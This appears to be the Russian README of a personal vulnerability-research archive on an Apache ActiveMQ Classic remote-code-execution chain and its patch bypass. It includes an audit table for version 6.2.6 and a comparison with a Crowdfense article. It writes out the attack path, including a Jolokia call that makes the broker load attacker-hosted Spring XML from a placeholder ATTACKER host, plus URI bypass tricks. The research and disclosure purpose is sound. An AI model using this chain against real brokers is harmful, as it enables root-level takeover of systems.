
Apache ActiveMQ Classic RCE исследование: CVE-2026-34197 / CVE-2026-42588 цепочка обхода + результаты аудита hardened-6.2.6 + сравнение с Crowdfense
Личный исследовательский архив по цепочке удаленного выполнения кода (RCE) в Apache ActiveMQ Classic через Jolokia → addNetworkConnector → xbean/Spring-XML (CVE-2026-34197 и обход патча CVE-2026-42588), а также полный аудит с автоисследованием исправленного релиза 6.2.6 и сравнение с публичным описанием обхода от Crowdfense.
Вся эксплуатация выполнялась против локальных тестовых брокеров (Docker / собственный хостинг). В нагрузках используются плейсхолдеры хостов атакующего.
| Каталог | Фаза | Что внутри |
|---|---|---|
00-comparison-vs-crowdfense.md | Сравнение | Наша работа vs. статья Crowdfense «ActiveMQ RCE Bypass», верифицировано по исходникам с указанием файла:строки |
01-original-cve-2026-34197/ | Воспроизведение оригинала | Анализ + PoC-скрипты + Spring-XML нагрузки (лаб: activemq-classic:5.18.6) |
02-reaudit-apr30/ | Матрица версий | uid=0 на 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7; оценка + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | Живой обход | Композитный обход без скобок (42588) + XSS через MessageServlet (42253), воспроизведено вживую |
04-audit-6.2.6/ | Полный аудит | Аудит с автоисследованием усиленной версии 6.2.6: финальный отчет + журнал находок |
Деревья исходного кода и бинарные дистрибутивы вендора, использовавшиеся в лабораторных работах, намеренно исключены (они принадлежат вышестоящему проекту, не нам).
Аутентифицированный (неаутентифицированный на 6.0.0–6.1.1 через CVE-2024-32114) вызывающий Jolokia выполняет BrokerView.addNetworkConnector(uri) с поддельным discovery URI, внутренняя часть vm://…?brokerConfig=xbean:<url> которого заставляет брокера загрузить подконтрольный атакующему Spring XML, который немедленно инициализирует бин ProcessBuilder до проверки брокера → выполнение команд ОС.
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory динамическое создание брокера → XBeanBrokerFactory
→ ResourceXmlApplicationContext загружает Spring XML → бин ProcessBuilder → RCE
Главное: три находки доказаны вживую до root/XSS; аудит версии 6.2.6 добавляет более широкий набор, который верифицирован по исходникам и прошел adversarial-оценку, но не был детонирован вживую. Ни одна из дополнительных находок в 6.2.6 не является новым неаутентифицированным RCE — вендор закрыл эти двери; остаточный риск сместился в сторону авторизации и выходного кодирования.
Порядковое значение QoS MQTT AIOOBE (QoS.values()[ordinal], кросс-протокольно, без настройки) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException при распаковке OpenWire с signed-short · отрицательный AMQ_SCHEDULED_REPEAT → бессмертная задача.
Статья Crowdfense Apache ActiveMQ RCE Bypass описывает ту же цепочку (они относят её к CVE-2026-34197; мы выделяем обход как отдельный CVE-2026-42588). Оба описания сходятся на трёхуровневой защите; единственное расхождение — Уровень 2.
Одно упущение: трюк с процентным кодированием на Уровне 2 + UNC/WebDAV у них позволяет полностью удалённую доставку без примитива локальной записи. Ошибка классификатора, которую он использует (activemq-spring/Utils.java:123-129, грубая startsWith("file://") на нераскодированной строке) присутствует в нашем точном исходном коде — но удалённая половина работает только на Windows (Linux воспринимает //host/share как локальный путь), а наша лаборатория была на Linux, так что там это не было воспроизведено. В любом случае это не работает на 6.2.6 (ворота схемы VMTransportFactory отвергают xbean до запуска Utils).
Последующие действия: Windows-хостовый 5.19.6 (или любая сборка до 5.19.7/6.2.6) + слушатель SMB/WebDAV позволили бы нам продемонстрировать полностью удалённый обход белого списка — единственную возможность, которую статья имеет, но наше взаимодействие не показало.
Три коммита закрывают цепочку: c1b44af11 (проверка композитных URI без скобок — parseComposite безусловно + рекурсия), c2fc7a1d6 (блокировка XBeanBrokerFactory по умолчанию через белый список схем VMTransportFactory), и be8415f24 (усиление примера конфигурации: Jolokia на loopback, денлист операций с addNetworkConnector).
| ID | Находка | Класс | Серьезность | Аутентификация | Доказательство |
|---|
| CVE-2026-34197 | addNetworkConnector через Jolokia → xbean Spring-XML RCE | RCE | Критическая | После аутентификации (без аутентификации 6.0.0–6.1.1) | Вживую — uid=0 на 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 |
| CVE-2026-42588 | Композитный URI без скобок в обход денлиста 34197 | RCE (обход патча) | Критическая | После аутентификации | Вживую — uid=0 на 5.19.6 + 6.2.0 с патчем 34197 |
| CVE-2026-42253 | Внедрение заголовка MessageServlet → хранимый XSS | Внедрение / XSS | Средняя | После аутентификации | Вживую на 6.2.0 |
| ID | Находка | Класс | Серьезность | Аутентификация | Примечания |
|---|
| C1 | Пробел в денлисте static: → SSRF — static отсутствует в DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → исходящий TCP к брокеру | SSRF | Средняя | Администратор / JMX | Вариант стока через тот же денлист 34197/42588, который описан в статье |
| B1 | IDOR удаления durable-подписки между clientId — removeSubscription привязан к переданному по сети clientId и не закрыт шлюзом в AuthorizationBroker | Нарушение авторизации / IDOR | Средняя | После аутентификации (без аутентификации, если аутентификация брокера выключена) | Самый чистый абсолютно новый |
| B3 | LDAP пустой пароль → анонимное связывание (LDAPLoginModule, нет проверки на пустоту) | Обход аутентификации | Средняя (условно) | Без аутентификации | При условии, что каталог принимает анонимные связывания |
| A1–A7 | Семейство внедрения в выходное кодирование консоли — подконтрольный атакующему MessageId.textView (OpenWire v10+ и AMQP) не экранируется примерно в 7 точках JSP/REST + обход пути FileSystemBlobStrategy | Внедрение | Низкая–Средняя | Производитель → администратор | По умолчанию ограничен CSP до внедрения HTML/контента |
| B2 | Повышение привилегий через внедрение двоеточия в Shiro WildcardPermission | Повышение привилегий | Низкая–Средняя | После аутентификации | Shiro не по умолчанию |
| B4 | Асимметрия авторизации временных назначений: fail-open vs fail-closed для нетемповых | Нарушение авторизации | Низкая | После аутентификации | По замыслу (AMQ-4721); заметка об усилении |
| B5 | StatisticsBroker replyTo пропускает ACL на запись, если плагин упорядочен до авторизации | Нарушение авторизации | Низкая | После аутентификации | Зависит от порядка конфигурации |
| B6 | НЕканонический DN при сертификатном входе (getSubjectDN().getName()) → коллизия идентичности среди сертификатов одного ЦС | Аутентификация | Низкая | Без аутентификации (проверено TLS) | «Любой самоподписной сертификат» не работает |
| B7 | Подделка JMSXUserID при populateJMSXUserID=false (по умолчанию) | Подделка | Низкая | После аутентификации | — |
| F5 | Имя исходящего заголовка STOMP никогда не экранируется → внедрение фрейма для подписчика в том же тенанте | Внедрение | Низкая | Кросс-протокольная | STOMP включен |
| Уровень | Защита | Crowdfense обходит её через | Мы обошли через |
|---|
| 1 | Денлист схем (исправление 34197) | Композит без скобок static:vm://… | То же — найдено независимо ✅ |
| 2 | Белый список xbean {file,classpath} (#1910) | Процентно-кодированный file:%2f%2f… → Windows UNC → WebDAV → удалённая HTTP-выборка | Локальный файл xbean:/tmp/evil.xml (требуется локальная запись) |
| 3 | Ворота схемы VMTransportFactory (broker,properties, исправление 42588 / 6.2.6) | Признано как окончательное решение | Тот же вывод ✅ |